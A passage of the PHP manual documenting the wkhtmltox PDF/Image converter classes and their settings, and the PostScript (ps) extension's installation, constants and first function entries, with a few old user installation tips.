There are no user contributed notes for this page.


The wkhtmltox\PDF\Converter class

(wkhtmltox >= 0.1.0)

简介

Converts an HTML input, or set of HTML inputs, into PDF output

类摘要

class wkhtmltox\PDF\Converter {
/* Constructor */
public __construct(array $settings = ?)
/* 方法 */
public add(wkhtmltox\PDF\Object $object): void
public convert(): ?string
public getVersion(): string
}

Table of Contents

  • wkhtmltox\PDF\Converter::add — Add an object for conversion
  • wkhtmltox\PDF\Converter::__construct — Create a new PDF converter
  • wkhtmltox\PDF\Converter::convert — Perform PDF conversion
  • wkhtmltox\PDF\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


Add an object for conversion

  • ? wkhtmltox\PDF\Converter
  • wkhtmltox\PDF\Converter::__construct ?
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Add an object for conversion

wkhtmltox\PDF\Converter::add

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::add — Add an object for conversion

说明

public wkhtmltox\PDF\Converter::add(wkhtmltox\PDF\Object $object): void

Adds the given object to conversion

参数

object

The object to add

User Contributed Notes

There are no user contributed notes for this page.


Create a new PDF converter

  • ? wkhtmltox\PDF\Converter::add
  • wkhtmltox\PDF\Converter::convert ?
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Create a new PDF converter

wkhtmltox\PDF\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::__construct — Create a new PDF converter

说明

public wkhtmltox\PDF\Converter::__construct(array $settings = ?)

Creates a PDF converter, using optional configuration settings

参数

settings

Name | Description | Values | Changelog
size.pageSize | paper size of output document | A4 | >= 0.1.0
size.width | with of the output document | 210mm | >= 0.1.0
size.height | height of the output document | 297mm | >= 0.1.0
orientation orientation of the output document
Landscape
Portrait
>= 0.1.0
colorMode color mode of the output document
Color
Greyscale
>= 0.1.0
resolution | resoluition of the output document | most likely has no effect | >= 0.1.0
dpi | dpi to use while printing | 80 | >= 0.1.0
pageOffset | integer added to page numbers generating headers, footers, and toc | >= 0.1.0
copies | >= 0.1.0
collate | collate copies | boolean | >= 0.1.0
outline | generate PDF outline | boolean | >= 0.1.0
outlineDepth | maximum depth of outline | >= 0.1.0
dumpOutline | path of file to dump outline XML | >= 0.1.0
out | path of output file, if "-" stdout is used | >= 0.1.0
documentTitle | title for the output document | >= 0.1.0
useCompression | enable or disable lossless compression | boolean | >= 0.1.0
margin.top | size of the top margin | 2cm | >= 0.1.0
margin.bottom | size of the bottom margin | 2cm | >= 0.1.0
margin.left | size of the left margin | 2cm | >= 0.1.0
margin.right | size of the right margin | 2cm | >= 0.1.0
imageDPI | maximum DPI for images in the output document | >= 0.1.0
imageQuality | the jpeg compression factor for images in the output document | 94 | >= 0.1.0
load.cookieJar | path of file used to load and store cookies | /tmp/cookies.txt | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Perform PDF conversion

  • ? wkhtmltox\PDF\Converter::__construct
  • wkhtmltox\PDF\Converter::getVersion ?
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Perform PDF conversion

wkhtmltox\PDF\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::convert — Perform PDF conversion

说明

public wkhtmltox\PDF\Converter::convert(): ?string

Performs conversion of all previously added Objects

参数

此函数没有参数。

返回值

Where the return value is used, it will be populated with the contents of the conversion buffer

User Contributed Notes

There are no user contributed notes for this page.


Determine version of Converter

  • ? wkhtmltox\PDF\Converter::convert
  • wkhtmltox\PDF\Object ?
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Determine version of Converter

wkhtmltox\PDF\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\PDF\Converter::getVersion — Determine version of Converter

说明

public wkhtmltox\PDF\Converter::getVersion(): string

Determines the version of Converter as reported by libwkhtmltox

参数

此函数没有参数。

返回值

Returns a version string

User Contributed Notes

There are no user contributed notes for this page.


The wkhtmltox\PDF\Object class

(wkhtmltox >= 0.1.0)

简介

Represents an HTML document, input to PDF converter

类摘要

class wkhtmltox\PDF\Object {
/* Constructor */
public __construct(string $buffer, array $settings = ?)
}

Table of Contents

  • wkhtmltox\PDF\Object::__construct — Create a new PDF Object

User Contributed Notes

There are no user contributed notes for this page.


Create a new PDF Object

  • ? wkhtmltox\PDF\Object
  • wkhtmltox\Image\Converter ?
  • PHP Manual
  • wkhtmltox\PDF\Object
  • Create a new PDF Object

wkhtmltox\PDF\Object::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Object::__construct — Create a new PDF Object

说明

public wkhtmltox\PDF\Object::__construct(string $buffer, array $settings = ?)

Creates a new PDF Object from the given buffer and optional configuration settings

参数

buffer

HTML

settings

Name | Description | Values | Changelog
page | URL or path of the HTML to convert | >= 0.1.0
useExternalLinks | set true to convert external links in the input into external PDF links in the output | boolean | >= 0.1.0
useLocalLinks | set true to convert internal links in the input into internal PDF links in the output | boolean | >= 0.1.0
produceForms | set true to turn HTML forms into PDF forms | boolean | >= 0.1.0
replacements | undocumented | >= 0.1.0
includeInOutline | set true to include sections from this object in the outline and toc | boolean | >= 0.1.0
pagesCount | set true to make page count in toc inclusive of the number of pages in this object | boolean | >= 0.1.0
tocXsl | set to style sheet to convert this object into a toc object | >= 0.1.0
toc.useDottedLines | set true to use dotted lines in toc | boolean | >= 0.1.0
toc.captionText | the caption text for toc | >= 0.1.0
toc.forwardLinks | set true to create links from toc to content | boolean | >= 0.1.0
toc.backLinks | set true to create links from content to toc | boolean | >= 0.1.0
toc.indentation | indentation for toc | 2em | >= 0.1.0
toc.fontScale | the factor to scale down the font at every toc level | 0.8 | >= 0.1.0
header.fontSize | font size for use in header | 13 | >= 0.1.0
header.fontName | name of font for use in header | times | >= 0.1.0
header.left | text for left of header | >= 0.1.0
header.center | text for center of header | >= 0.1.0
header.right | text for right of header | >= 0.1.0
header.line | enable or disable horizontal rule under header | boolean | >= 0.1.0
header.spacing | space between header and content | 1.8 | >= 0.1.0
header.htmlUrl | URL or path of HTML to use in header | >= 0.1.0
footer.fontSize | font size for use in footer | 13 | >= 0.1.0
footer.fontName | name of font for use in footer | times | >= 0.1.0
footer.left | text for left of footer | >= 0.1.0
footer.center | text for center of footer | >= 0.1.0
footer.right | text for right of footer | >= 0.1.0
footer.line | enable or disable horizontal rule under footer | boolean | >= 0.1.0
footer.spacing | space between footer and content | 1.8 | >= 0.1.0
footer.htmlUrl | URL or path of HTML to use in footer | >= 0.1.0
load.username | user name to use when loging into a website | bart | >= 0.1.0
load.password | the password to used when logging into a website | elbarto | >= 0.1.0
load.jsdelay | the amount of time in milliseconds to wait after a page is loaded until it is captured | 1200 | >= 0.1.0
load.zoomFactor | how much zoom should be applied to the content | 2.2 | >= 0.1.0
load.customHeaders | custom headers to send when requesting the main web page | >= 0.1.0
load.repertCustomHeaders | set true to send with all requests | boolean | >= 0.1.0
load.cookies | cookie string to send when requesting the main web page | >= 0.1.0
load.post | post string to send when requesting the main web page | >= 0.1.0
load.blockLocalFileAccess | disallow local and piped files to access other local files | boolean | >= 0.1.0
load.stopSlowScript | stop slow running javascript | boolean
load.debugJavascript | allow javascript to raise warnings | boolean | >= 0.1.0
load.loadErrorHandling set error handling strategy
abort | abort the convertion process
skip | do not add the object to the final output
ignore | try to add the object to the final output
>= 0.1.0
load.proxy | >= 0.1.0
web.background | include background image in output | boolean | >= 0.1.0
web.loadImages | include images in output | boolean | >= 0.1.0
web.enableJavascript | enable or disable javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | enable to attempt to fit more content on page, only applies to PDF output | boolean | >= 0.1.0
web.minimumFontSize | the minimum font size allowed | 9 | >= 0.1.0
web.printMediaType | print content using print media type instead of screen media type | boolean | >= 0.1.0
web.defaultEncoding | content to use where no encoding is specified | utf-8 | >= 0.1.0
web.userStyleSheet | URL or path to a user specified style sheet | /path/to/style.css | >= 0.1.0
web.enablePlugins | enable or disable NS plugins | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


The wkhtmltox\Image\Converter class

(wkhtmltox >= 0.1.0)

简介

Converts an HTML input into various image formats

类摘要

class wkhtmltox\Image\Converter {
/* Constructor */
public __construct(string $buffer = ?, array $settings = ?)
/* 方法 */
public convert(): ?string
public getVersion(): string
}

Table of Contents

  • wkhtmltox\Image\Converter::__construct — Create a new Image converter
  • wkhtmltox\Image\Converter::convert — Perform Image conversion
  • wkhtmltox\Image\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


Create a new Image converter

  • ? wkhtmltox\Image\Converter
  • wkhtmltox\Image\Converter::convert ?
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Create a new Image converter

wkhtmltox\Image\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::__construct — Create a new Image converter

说明

public wkhtmltox\Image\Converter::__construct(string $buffer = ?, array $settings = ?)

Creates an Image converter, optionally taking an input buffer and configuration settings

参数

buffer

HTML

settings

Name | Description | Values | Changelog
in | URL or path of the input file, if "-" stdin is used | /path/to/markup.html | >= 0.1.0
out | path of output file, if "-" stdout is used, by default an internal buffer is used | /path/to/output.png | >= 0.1.0
fmt output format to use
"" default
jpg | output as JPEG
png | output as PNG
bmp | output as bitmap
svg | output as SVG
>= 0.1.0
transparent | when outputting a PNG or SVG, make the white background transparent | boolean | >= 0.1.0
screenWidth | the with of the screen used to render in pixels | 800 | >= 0.1.0
smartWidth | when true, screenWidth is expanded to the content width | boolean | >= 0.1.0
quality | compression factor to use when outputting a JPEG image | 94 | >= 0.1.0
crop.left | left/x coordinate of the window to capture in pixels | 200 | >= 0.1.0
crop.top | top/y coordinate of the window to capture in pixels | 200 | >= 0.1.0
crop.width | width of the window to capture in pixels | 200 | >= 0.1.0
crop.height | height of the window to capture in pixels | 200 | >= 0.1.0
load.cookieJar | path of file used to load and store cookies | /tmp/cookies.txt | >= 0.1.0
load.username | user name to use when loging into a website | bart | >= 0.1.0
load.password | the password to used when logging into a website | elbarto | >= 0.1.0
load.jsdelay | the amount of time in milliseconds to wait after a page is loaded until it is captured | 1200 | >= 0.1.0
load.zoomFactor | how much zoom should be applied to the content | 2.2 | >= 0.1.0
load.customHeaders | custom headers to send when requesting the main web page | >= 0.1.0
load.repertCustomHeaders | set true to send with all requests | boolean | >= 0.1.0
load.cookies | cookie string to send when requesting the main web page | >= 0.1.0
load.post | post string to send when requesting the main web page | >= 0.1.0
load.blockLocalFileAccess | disallow local and piped files to access other local files | boolean | >= 0.1.0
load.stopSlowScript | stop slow running javascript | boolean
load.debugJavascript | allow javascript to raise warnings | boolean | >= 0.1.0
load.loadErrorHandling set error handling strategy
abort | abort the convertion process
skip | do not add the object to the final output
ignore | try to add the object to the final output
>= 0.1.0
load.proxy | >= 0.1.0
web.background | include background image in output | boolean | >= 0.1.0
web.loadImages | include images in output | boolean | >= 0.1.0
web.enableJavascript | enable or disable javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | enable to attempt to fit more content on page, only applies to PDF output | boolean | >= 0.1.0
web.minimumFontSize | the minimum font size allowed | 9 | >= 0.1.0
web.printMediaType | print content using print media type instead of screen media type | boolean | >= 0.1.0
web.defaultEncoding | content to use where no encoding is specified | utf-8 | >= 0.1.0
web.userStyleSheet | URL or path to a user specified style sheet | /path/to/style.css | >= 0.1.0
web.enablePlugins | enable or disable NS plugins | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Perform Image conversion

  • ? wkhtmltox\Image\Converter::__construct
  • wkhtmltox\Image\Converter::getVersion ?
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Perform Image conversion

wkhtmltox\Image\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::convert — Perform Image conversion

说明

public wkhtmltox\Image\Converter::convert(): ?string

Performs conversion of the input buffer

参数

此函数没有参数。

返回值

Where the return value is used, it will be populated with the contents of the conversion buffer

User Contributed Notes

There are no user contributed notes for this page.


Determine version of Converter

  • ? wkhtmltox\Image\Converter::convert
  • PS ?
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Determine version of Converter

wkhtmltox\Image\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\Image\Converter::getVersion — Determine version of Converter

说明

public wkhtmltox\Image\Converter::getVersion(): string

Determines the version of Converter as reported by libwkhtmltox

参数

此函数没有参数。

返回值

Returns a version string

Warning

This is not yet implemented by libwkhtmltox

User Contributed Notes

There are no user contributed notes for this page.


PostScript document creation

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • PS 函数
    • ps_add_bookmark — Add bookmark to current page
    • ps_add_launchlink — Adds link which launches file
    • ps_add_locallink — Adds link to a page in the same document
    • ps_add_note — Adds note to current page
    • ps_add_pdflink — Adds link to a page in a second pdf document
    • ps_add_weblink — Adds link to a web location
    • ps_arc — Draws an arc counterclockwise
    • ps_arcn — Draws an arc clockwise
    • ps_begin_page — Start a new page
    • ps_begin_pattern — Start a new pattern
    • ps_begin_template — Start a new template
    • ps_circle — Draws a circle
    • ps_clip — Clips drawing to current path
    • ps_close_image — Closes image and frees memory
    • ps_close — Closes a PostScript document
    • ps_closepath_stroke — Closes and strokes path
    • ps_closepath — Closes path
    • ps_continue_text — Continue text in next line
    • ps_curveto — Draws a curve
    • ps_delete — Deletes all resources of a PostScript document
    • ps_end_page — End a page
    • ps_end_pattern — End a pattern
    • ps_end_template — End a template
    • ps_fill_stroke — Fills and strokes the current path
    • ps_fill — Fills the current path
    • ps_findfont — Loads a font
    • ps_get_buffer — Fetches the full buffer containig the generated PS data
    • ps_get_parameter — Gets certain parameters
    • ps_get_value — Gets certain values
    • ps_hyphenate — Hyphenates a word
    • ps_include_file — Reads an external file with raw PostScript code
    • ps_lineto — Draws a line
    • ps_makespotcolor — Create spot color
    • ps_moveto — Sets current point
    • ps_new — Creates a new PostScript document object
    • ps_open_file — Opens a file for output
    • ps_open_image_file — Opens image from file
    • ps_open_image — Reads an image for later placement
    • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
    • ps_place_image — Places image on the page
    • ps_rect — Draws a rectangle
    • ps_restore — Restore previously save context
    • ps_rotate — Sets rotation factor
    • ps_save — Save current context
    • ps_scale — Sets scaling factor
    • ps_set_border_color — Sets color of border for annotations
    • ps_set_border_dash — Sets length of dashes for border of annotations
    • ps_set_border_style — Sets border style of annotations
    • ps_set_info — Sets information fields of document
    • ps_set_parameter — Sets certain parameters
    • ps_set_text_pos — Sets position for text output
    • ps_set_value — Sets certain values
    • ps_setcolor — Sets current color
    • ps_setdash — Sets appearance of a dashed line
    • ps_setflat — Sets flatness
    • ps_setfont — Sets font to use for following output
    • ps_setgray — Sets gray value
    • ps_setlinecap — Sets appearance of line ends
    • ps_setlinejoin — Sets how contected lines are joined
    • ps_setlinewidth — Sets width of a line
    • ps_setmiterlimit — Sets the miter limit
    • ps_setoverprintmode — Sets overprint mode
    • ps_setpolydash — Sets appearance of a dashed line
    • ps_shading_pattern — Creates a pattern based on a shading
    • ps_shading — Creates a shading for later use
    • ps_shfill — Fills an area with a shading
    • ps_show_boxed — Output text in a box
    • ps_show_xy2 — Output text at position
    • ps_show_xy — Output text at given position
    • ps_show2 — Output a text at current position
    • ps_show — Output text
    • ps_string_geometry — Gets geometry of a string
    • ps_stringwidth — Gets width of a string
    • ps_stroke — Draws the current path
    • ps_symbol_name — Gets name of a glyph
    • ps_symbol_width — Gets width of a glyph
    • ps_symbol — Output a glyph
    • ps_translate — Sets translation

User Contributed Notes

There are no user contributed notes for this page.


简介

This module allows to create PostScript documents. It has many similarities with the pdf extension. Actually the API is almost identical and one can in many cases just replace the prefix of each function from pdf_ to ps_. This also works for functions which has no meaning in the PostScript document (like adding hyperlinks) but will have an effect if the document is converted to PDF.

Documents created by this extension are sometimes even superior to documents created with the pdf extension, because pslib's text rendering functions can handle kerning, hyphenation and ligatures which results in much better output of boxed text.

User Contributed Notes

There are no user contributed notes for this page.


需求

You need at least pslib >= 0.1.12. The ps library (pslib) is available at » http://pslib.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ps.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines a PostScript document resource returned by ps_new().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

The following two tables lists all constants defined by the ps extension.

Contants for line caps
Name | Meaning
ps_LINECAP_BUTT |
ps_LINECAP_ROUND |
ps_LINECAP_SQUARED |
Contants for line joins
Name | Meaning
ps_LINEJOIN_MITER |
ps_LINEJOIN_ROUND |
ps_LINEJOIN_BEVEL |

User Contributed Notes

There are no user contributed notes for this page.


PS 函数

Contact Information

If you have comments, bugfixes, enhancements for either this extension or pslib then please drop me a mail » steinm@php.net. Any help is very welcome.

Table of Contents

  • ps_add_bookmark — Add bookmark to current page
  • ps_add_launchlink — Adds link which launches file
  • ps_add_locallink — Adds link to a page in the same document
  • ps_add_note — Adds note to current page
  • ps_add_pdflink — Adds link to a page in a second pdf document
  • ps_add_weblink — Adds link to a web location
  • ps_arc — Draws an arc counterclockwise
  • ps_arcn — Draws an arc clockwise
  • ps_begin_page — Start a new page
  • ps_begin_pattern — Start a new pattern
  • ps_begin_template — Start a new template
  • ps_circle — Draws a circle
  • ps_clip — Clips drawing to current path
  • ps_close_image — Closes image and frees memory
  • ps_close — Closes a PostScript document
  • ps_closepath_stroke — Closes and strokes path
  • ps_closepath — Closes path
  • ps_continue_text — Continue text in next line
  • ps_curveto — Draws a curve
  • ps_delete — Deletes all resources of a PostScript document
  • ps_end_page — End a page
  • ps_end_pattern — End a pattern
  • ps_end_template — End a template
  • ps_fill_stroke — Fills and strokes the current path
  • ps_fill — Fills the current path
  • ps_findfont — Loads a font
  • ps_get_buffer — Fetches the full buffer containig the generated PS data
  • ps_get_parameter — Gets certain parameters
  • ps_get_value — Gets certain values
  • ps_hyphenate — Hyphenates a word
  • ps_include_file — Reads an external file with raw PostScript code
  • ps_lineto — Draws a line
  • ps_makespotcolor — Create spot color
  • ps_moveto — Sets current point
  • ps_new — Creates a new PostScript document object
  • ps_open_file — Opens a file for output
  • ps_open_image_file — Opens image from file
  • ps_open_image — Reads an image for later placement
  • ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document
  • ps_place_image — Places image on the page
  • ps_rect — Draws a rectangle
  • ps_restore — Restore previously save context
  • ps_rotate — Sets rotation factor
  • ps_save — Save current context
  • ps_scale — Sets scaling factor
  • ps_set_border_color — Sets color of border for annotations
  • ps_set_border_dash — Sets length of dashes for border of annotations
  • ps_set_border_style — Sets border style of annotations
  • ps_set_info — Sets information fields of document
  • ps_set_parameter — Sets certain parameters
  • ps_set_text_pos — Sets position for text output
  • ps_set_value — Sets certain values
  • ps_setcolor — Sets current color
  • ps_setdash — Sets appearance of a dashed line
  • ps_setflat — Sets flatness
  • ps_setfont — Sets font to use for following output
  • ps_setgray — Sets gray value
  • ps_setlinecap — Sets appearance of line ends
  • ps_setlinejoin — Sets how contected lines are joined
  • ps_setlinewidth — Sets width of a line
  • ps_setmiterlimit — Sets the miter limit
  • ps_setoverprintmode — Sets overprint mode
  • ps_setpolydash — Sets appearance of a dashed line
  • ps_shading_pattern — Creates a pattern based on a shading
  • ps_shading — Creates a shading for later use
  • ps_shfill — Fills an area with a shading
  • ps_show_boxed — Output text in a box
  • ps_show_xy2 — Output text at position
  • ps_show_xy — Output text at given position
  • ps_show2 — Output a text at current position
  • ps_show — Output text
  • ps_string_geometry — Gets geometry of a string
  • ps_stringwidth — Gets width of a string
  • ps_stroke — Draws the current path
  • ps_symbol_name — Gets name of a glyph
  • ps_symbol_width — Gets width of a glyph
  • ps_symbol — Output a glyph
  • ps_translate — Sets translation

User Contributed Notes

mattwheaton at hotmail dot com 18-Aug-2006 11:28
I also was not able to install ps using PEAR. Here are the steps I took to getting it installed:

1. you may need to install the perl module XML::Parser (http://search.cpan.org/~msergeant/XML-Parser/Parser.pm) to get pslib to install
2. install pslib (http://pslib.sourceforge.net/)
3. install ps (http://pecl.php.net/package/ps) using the instructions from (http://www.php.net/manual/en/install.pecl.phpize.php)
4. copy the ps.so file created by to the php extensions directory (not automatically done)
5. edit php.ini to include the ps extension (not automatically done)

If you are running FreeBSD, this link may help you with problems installing pslib (http://www.freebsd.org/cgi/query-pr.cgi?pr=84406).

Note that pslib (the library) and ps (the php extension) are not the same.
billy dot diehl at us dot army dot mil 30-May-2006 03:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com 15-Nov-2005 04:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.


Add bookmark to current page

  • ? PS 函数
  • ps_add_launchlink ?
  • PHP Manual
  • PS 函数
  • Add bookmark to current page

ps_add_bookmark

(PECL ps >= 1.1.0)

ps_add_bookmark — Add bookmark to current page

说明

ps_add_bookmark(
resource $psdoc,
string $text,
int $parent = 0,
int $open = 0
): int

Adds a bookmark for the current page. Bookmarks usually appear in PDF-Viewers left of the page in a hierarchical tree. Clicking on a bookmark will jump to the given page.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text used for displaying the bookmark.

parent

A bookmark previously created by this function which is used as the parent of the new bookmark.

open

If open is unequal to zero the bookmark will be shown open by the pdf viewer.

返回值

The returned value is a reference for the bookmark. It is only used if the bookmark shall be used as a parent. The value is greater zero if the function succeeds. In case of an error zero will be returned.

参见

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link which launches file

  • ? ps_add_bookmark
  • ps_add_locallink ?
  • PHP Manual
  • PS 函数
  • Adds link which launches file

ps_add_launchlink

(PECL ps >= 1.1.0)

ps_add_launchlink — Adds link which launches file

说明

ps_add_launchlink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $filename
): bool

Places a hyperlink at the given position pointing to a file program which is being started when clicked on. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The path of the program to be started, when the link is clicked on.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a page in the same document

  • ? ps_add_launchlink
  • ps_add_note ?
  • PHP Manual
  • PS 函数
  • Adds link to a page in the same document

ps_add_locallink

(PECL ps >= 1.1.0)

ps_add_locallink — Adds link to a page in the same document

说明

ps_add_locallink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
int $page,
string $dest
): bool

Places a hyperlink at the given position pointing to a page in the same document. Clicking on the link will jump to the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

page

The number of the page displayed when clicking on the link.

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds note to current page

  • ? ps_add_locallink
  • ps_add_pdflink ?
  • PHP Manual
  • PS 函数
  • Adds note to current page

ps_add_note

(PECL ps >= 1.1.0)

ps_add_note — Adds note to current page

说明

ps_add_note(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $contents,
string $title,
string $icon,
int $open
): bool

Adds a note at a certain position on the page. Notes are like little rectangular sheets with text on it, which can be placed anywhere on a page. They are shown either folded or unfolded. If folded, the specified icon is used as a placeholder.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

contents

The text of the note.

title

The title of the note as displayed in the header of the note.

icon

The icon shown if the note is folded. This parameter can be set to comment, insert, note, paragraph, newparagraph, key, or help.

open

If open is unequal to zero the note will be shown unfolded after opening the document with a pdf viewer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_add_pdflink() - Adds link to a page in a second pdf document
  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a page in a second pdf document

  • ? ps_add_note
  • ps_add_weblink ?
  • PHP Manual
  • PS 函数
  • Adds link to a page in a second pdf document

ps_add_pdflink

(PECL ps >= 1.1.0)

ps_add_pdflink — Adds link to a page in a second pdf document

说明

ps_add_pdflink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $filename,
int $page,
string $dest
): bool

Places a hyperlink at the given position pointing to a second pdf document. Clicking on the link will branch to the document at the given page. The first page in a document has number 1.

The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

filename

The name of the pdf document to be opened when clicking on this link.

page

The page number of the destination pdf document

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_weblink() - Adds link to a web location

User Contributed Notes

There are no user contributed notes for this page.


Adds link to a web location

  • ? ps_add_pdflink
  • ps_arc ?
  • PHP Manual
  • PS 函数
  • Adds link to a web location

ps_add_weblink

(PECL ps >= 1.1.0)

ps_add_weblink — Adds link to a web location

说明

ps_add_weblink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $url
): bool

Places a hyperlink at the given position pointing to a web page. The hyperlink's source position is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

此说明在文档被打印或显示时不可见，只在文档用 Acrobat Distiller 或 Ghostview 转换成 PDF 时显示。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

llx

The x-coordinate of the lower left corner.

lly

The y-coordinate of the lower left corner.

urx

The x-coordinate of the upper right corner.

ury

The y-coordinate of the upper right corner.

url

The url of the hyperlink to be opened when clicking on this link, e.g. http://www.php.net.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_add_launchlink() - Adds link which launches file
  • ps_add_locallink() - Adds link to a page in the same document
  • ps_add_pdflink() - Adds link to a page in a second pdf document

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc counterclockwise

  • ? ps_add_weblink
  • ps_arcn ?
  • PHP Manual
  • PS 函数
  • Draws an arc counterclockwise

ps_arc

(PECL ps >= 1.1.0)

ps_arc — Draws an arc counterclockwise

说明

ps_arc(
resource $psdoc,
float $x,
float $y,
float $radius,
float $alpha,
float $beta
): bool

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn counterclockwise (use ps_arcn() to draw clockwise). The subpath added to the current path starts on the arc at angle alpha and ends on the arc at angle beta.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

